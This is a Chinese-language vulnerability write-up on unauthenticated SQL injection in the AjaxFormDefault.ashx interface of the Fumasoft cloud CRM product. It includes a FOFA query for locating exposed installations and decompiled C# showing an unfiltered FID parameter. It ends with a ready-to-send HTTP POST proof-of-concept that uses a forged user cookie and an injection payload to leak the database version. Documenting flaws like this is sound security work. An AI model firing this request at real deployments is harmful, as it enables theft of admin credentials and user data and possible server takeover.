漏洞简介
上海孚盟软件有限公司是一家专业的外贸SaaS服务和行业解决方案提供商。其旗下产品孚盟云AjaxFormDefault.ashx接口存在多个SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
影响版本
fofa语法
app="孚盟软件-孚盟云"
漏洞分析
直接看 AjaxFormDefault.ashx 对应的dll文件 FumaCRM_BS.NewWeb.dll 里有关 AjaxFormDefault 方法的实现如下

当action=getEditProductPic2时,看下getEditProductPic2方法的实现
public string getEditProductPic2(HttpContext context)
{
string str1 = context.Request["FID"].ToString();
string str2 = $"{HttpContext.Current.Request.Url.Scheme}://{HttpContext.Current.Request.Url.Host}:{(object) HttpContext.Current.Request.Url.Port}";
DataTable dataSource = new CreatePageDao().GetDataSource($"select * from bpProducts where FID='{str1}'");
参数FID未经过任何过滤或校验就被直接拼接进SQL语句中进行执行,从而造成SQL注入漏洞。
当action=GetChilDept时,一样的存在SQL注入漏洞

action=SearchChilDept

action=sendProductMessage

漏洞复现
POST /m/Dingding/Ajax/AjaxFormDefault.ashx HTTP/1.1
Host: fumacrm.mrxn.net
Cookie: UserCookie={"empId":"1"}
Content-Type: application/x-www-form-urlencoded
action=getEditProductPic2&FID='SQLI_POC--

成功通过报错注入在响应回显数据库版本信息




